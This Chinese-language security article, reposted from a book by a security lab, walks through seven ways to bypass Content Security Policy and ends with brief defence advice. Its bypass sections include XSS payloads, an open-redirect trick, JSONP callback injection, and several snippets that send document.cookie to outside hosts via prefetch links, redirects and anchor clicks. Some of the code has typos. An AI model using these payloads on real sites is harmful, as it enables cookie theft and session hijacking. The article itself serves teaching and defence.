攻防演练:基于真实案例的7种CSP绕过与防御指南

admin 2024年12月28日11:45:09评论45 views字数 5082阅读16分56秒阅读模式

导读:前端安全漏洞是指位于客户端的程序存在的漏洞或弱点,包括但不限于跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、界面操作劫持等。该类型漏洞如果被攻击者利用,那么可能被攻击者获取用户的系统权限、敏感信息等。

CSP(ContentSecurityPolicy,内容安全策略)是一种增强型的安全措施,旨在检测和缓解各种攻击,特别是跨站脚本攻击(XSS)和数据注入攻击。

CSP在防御前端攻击方面主要采取两大措施:一是限制JavaScript代码的执行,二是限制对不可信域的请求。

CSP的显著优势在于,它是在浏览器层面实施防护机制,与同源策略处于同一安全级别。除非浏览器本身存在漏洞,否则从原理上讲,攻击者无法绕过这一保护机制。

然而,实际情况真的如此吗?

2016年12月,Google团队发布了一篇关于CSP的调研报告,题为“CSP is Dead,Long live CSP”。利用强大的搜索引擎技术,该团队分析了超过160万台主机上的CSP部署方式。

该团队研究发现,在加载脚本时最常被纳入白名单的15个域中,有14个安全性不足。因此,75.81%采用脚本白名单策略的主机,实际上允许了攻击者绕过CSP的限制。

总结来说,它们发现在尝试限制脚本执行的策略中,有94.68%是无效的,并且高达99.34%的主机实施的CSP对防御XSS没有实质性帮助。

一、 CSP的绕过

CSP规则可以设定得极为严格,以致于有时会与众多网站的核心功能冲突。为了确保广泛的兼容性,CSP提供了多种灵活的模式以适应各类场景。然而,这种便利在为开发者提供灵活性的同时,也可能带来一系列安全隐患。

下面将探索若7种绕过CSP规则的策略。

1. 第一种CSP规则代码

第一种CSP规则代码如下所示。

header("Content-Security-Policy: default-src 'self '; script-src * ");

这是一个几乎没有任何防御能力的CSP规则,它允许加载来自任何域的JS代码.

<script src="http://lorexxar.cn/evil.js"></script>

2. 第二种CSP规则代码

第二种CSP规则代码如下所示。

header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

这是最普通、最常见的CSP规则,只允许加载当前域的JS代码。

网站通常会提供用户上传图片的功能,如果我们上传一个内容为JS代码的图片,图片

就在网站的当前域下。

 alert(1);//

直接加载图片即可。

3. 第三种CSP规则代码

第三种CSP规则代码如下所示。

header(" Content-Security-Policy: default-src 'self '; script-src http://127. 
0.0.1/static/ ");

当发现设置self并不安全的时候,你可能会选择把静态文件的可信域限制到目录。这种方法看似解决了问题,但是,如果可信域内存在一个可控的重定向文件,那么CSP的目录限制就可以被绕过。

假设static目录下存在一个302文件。

static/302.php
<?php Header("location: ".$_GET['url'])?>

如之前所述,攻击者可以上传一个名为test的图片文件,然后利用302脚本实现重定向,将用户引导至upload目录下加载的JS代码,从而成功执行恶意代码。

<scriptsrc="static/302.php?url=upload/test.jpg">

4. 第四种CSP规则代码

第四种CSP规则代码如下所示。

header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

CSP不仅能阻止不可信的JS代码的执行,还能防止对不可信域的资源请求。在上述CSP规则的约束下,如果我们尝试加载来自外部域的图片,该请求将被阻止。


<imgsrc="http://lorexxar.cn/1.jpg">->  阻止

在CSP的演变过程中,难免就会出现一些疏漏。

<link rel="prefetch"href="http://lorexxar.cn">(H5 预加载)(only chrome)
<link rel="dns-prefetch"href="http://lorexxar.cn"> (DNS 预加载)

在CSP1.0版本中,对于链接的限制并不完善,而且不同浏览器(包括Chrome和Firefox)对CSP规则的支持也有所差异。每个浏览器都维护着自己的一份CSP规则列表,这份列表通常包含CSP1.0的规范、部分CSP2.0的特性,以及少量的CSP3.0功能。

5. 第五种CSP规则代码

无论CSP有多严格,我们都无法预测开发者会写出何种代码。以下是Google团队发布的一份关于CSP的报告中的示例代码:

//<inputid="cmd" value="alert,safe string">

var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));

这段代码实现了将传入的字符串作为JS代码动态执行。实际上,许多现代前端框架都采用了类似机制。它们能够从特定的标签中提取字符串,并将其解析为JS代码。例如,AngularJS框架引入了ng-csp标签,以实现与CSP的完全兼容。

然而,即便在启用了CSP的环境中,一些现代框架仍能够正常运作。这表明在这些情况下,CSP可能并未发挥预期的安全防护作用。这突显了在实施CSP时,需要对框架的兼容性和安全性进行细致的考量和调整,以确保CSP规则能够有效地增强网站的安全性。

6. 第六种CSP规则代码

第六种CSP规则代码如下所示。

header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

可能你的网站并没有遇到这类问题,但你可能会采用JSONP技术来实现跨域数据获取,这种方式在现代Web开发中相当流行。然而,JSONP本质上与CSP存在冲突。因为JSONP旨在解决跨域请求的问题,它必须能够在可信域中执行,这与CSP限制不可信域代码执行的原则相悖。

<script
src="/path/jsonp?callback=alert(document.domain)//">
</script>

/* API response */
alert(document.domain);//{"var": "data", ...});

通过这种方法,攻击者可以构造并执行任意的JS代码。即使CSP限制callback函数只能接收包含字母、数字字符(w+)的数据,但某些情况下,部分JS代码仍有可能被执行。结合特定的攻击和场景,这可能导致安全威胁。

为了防范这种风险,最稳妥的做法是将返回数据类型设置为JSON格式。这样,即使攻击者尝试注入恶意代码,也只会将其作为数据处理,而不是作为可执行的代码,从而降低潜在的安全风险。

7. 第七种CSP规则代码

第七种CSP规则代码如下所示。

head er("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe
    inline' ");

与前面提到的CSP规则相比,以下所述的才是更为常见的CSP规则。

unsafe-inline是处理内联脚本的策略。当CSP规则中的script-src属性允许内联脚本时,页面中直接添加的脚本便能够被执行。

<script>
jscode;// 在unsafe-inline策略下可以执行
</script>

既然有能力执行任意的JS代码,接下来的问题便集中在如何巧妙地绕过对可信域的限制上。

(1) 通过JS代码生成linkprefetch 

第一种办法是通过JS代码生成linkprefetch:

var n0t = document.createElement("link");
n0t.setAttribute("rel","prefetch");
n0t.setAttribute("href","//ssssss.com/?"+ document.cookie);
document.head.appendChild(n0t);

这种办法只在Chrome浏览器中可用,但非常有效。

(2) 跳转

在浏览器的机制中,跳转本身就是跨域行为:

<script>location.href=http://lorexxar.cn?a+document.cookie</script>
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<metahttp-equiv="refresh"content="5;http://lorexxar.cn?c=[cookie]">

通过发起跨域请求,我们能够将所需的各类信息传递出去。

(3) 跨域请求

在浏览器中,存在多种类型的请求本质上是跨域的,包括表单的提交。而它们的共同特征就是包含href属性。

var a=document.createElement("a");
a.href='http://xss.com/?cookie='+escape(document.cookie);
a.click();

二、 防御建议

Google团队提出了两种CSP类型:Nonce Script和Strict Dynamic。然而,2016年年底,Sebastian Lekies指出了Nonce Script CSP的一个严重缺陷:对于纯静态的DOM XSS(文档对象模型跨站脚本攻击)漏洞几乎无法防御。2017年7月的BlackHat大会上,Google团队提出了全新的攻击方式——Script Gadgets,可以绕过Strct Dynamic CSP。

随着我们对CSP的深入了解,不难发现,基于白名单的防御模式在很大程度上依赖于网站的代码和部署方式,特别是在现代前端架构逐渐承担更多压力的情况下,这也就要求前端的白名单限制越来越宽松。从这个角度来看,结合黑名单和CSP的防御模式才是最可靠的解决方案。

更多其他的真实案例以及前端安全攻击和防护的相关思路,推荐您阅读知道创宇404实验室的《Web漏洞分析与防范实战:卷1》。

攻防演练:基于真实案例的7种CSP绕过与防御指南

本文摘编自《Web漏洞分析与防范实战:卷1》(书号:9787111764779),经出版方授权发布,转载请保留文章来源。

《Web漏洞分析与防范实战:卷1》一书以知道创宇404实验室在实际研究工作中遇到的真实案例为基础,结合团队多年的网络安全研究和实践经验,系统地介绍了网络安全中常见的漏洞类型、攻击手段以及相应的防御策略。每个章节都以实际案例为例,通过分析案例中的漏洞成因、攻击过程和防御方法,使读者能够直观地理解网络安全的实战操作。

作者简介

赵伟,知道创宇创始人兼CEO,中国反网络病毒联盟资深专家,安全联盟创始人。现任朝阳区政协委员、朝阳区工商联执委、中国网络空间安全协会常务理事、中国互联网协会理事。享有“2021年中国产业创新百人榜”“2021年中国数字生态领袖”“2012年福布斯中美30位30岁以下创业者榜单”“消费者协会2015年十大最美维权人物”荣誉。

杨冀龙,知道创宇联合创始人兼CTO,中央综合治理办公室网络安全专家组专家。现任中国网络空间安全协会理事、中国互联网协会网络空间安全分会技术委员会委员、兰州大学荣誉教授。中国民间著名白帽黑客团队“安全焦点”核心成员,被《沸腾十五年》评为中国新一代黑客领军人物之一。原创信息安全经典畅销书《网络渗透技术》作者之一。

知道创宇404实验室,知道创宇核心的安全研究部门,持续在网络安全领域进行漏洞挖掘、漏洞研究、安全工具的开源分享和推广。团队专注于Web、loT、工控、区块链等领域内安全漏洞挖掘以及攻防技术的研究工作,曾多次向国内外多家知名厂商如微软、苹果、Adobe、腾讯、阿里、百度等提交漏洞研究成果,并协助修复安全漏洞。

原文始发于微信公众号(HACK之道):攻防演练:基于真实案例的7种CSP绕过与防御指南

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日11:45:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防演练:基于真实案例的7种CSP绕过与防御指南https://cn-sec.com/archives/3564640.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息